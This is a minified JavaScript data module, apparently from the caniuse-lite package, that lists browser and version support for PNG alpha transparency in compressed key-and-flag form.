module.exports={A:{A:{"1":"D F E A B","2":"kB","8":"I"},B:{"1":"C O H P J K L M KB N R WB T"},C:{"1":"0 1 2 3 4 5 6 7 8 9 dB ZB G X I D F E A B C O H P J K L Y Z a b c d e f g h i j k l m n o p q r s t u v w x y z AB BB CB DB NB FB GB HB IB JB Q LB EB V U TB OB PB QB RB SB MB M KB N jB R rB uB"},D:{"1":"0 1 2 3 4 5 6 7 8 9 G X I D F E A B C O H P J K L Y Z a b c d e f g h i j k l m n o p q r s t u v w x y z AB BB CB DB NB FB GB HB IB JB Q LB EB V U TB OB PB QB RB SB MB M KB N R WB T vB aB bB"},E:{"1":"G X I D F E A B C O H cB UB eB fB gB hB VB S W lB mB"},F:{"1":"0 1 2 3 4 5 6 7 8 9 E B C P J K L Y Z a b c d e f g h i j k l m n o p q r s t u v w x y z AB BB DB FB GB HB IB JB Q LB EB V U nB oB pB qB S XB sB W"},G:{"1":"F UB tB YB TC wB xB yB zB 0B 1B 2B 3B 4B 5B 6B 7B 8B 9B AC BC"},H:{"1":"CC"},I:{"1":"ZB G N DC EC FC GC YB HC IC"},J:{"1":"D A"},K:{"1":"A B C CB S XB W"},L:{"1":"T"},M:{"1":"M"},N:{"1":"A B"},O:{"1":"JC"},P:{"1":"G KC LC MC NC OC VB PC QC"},Q:{"1":"RC"},R:{"1":"SC"},S:{"1":"iB"}},B:2,C:"PNG alpha transparency"};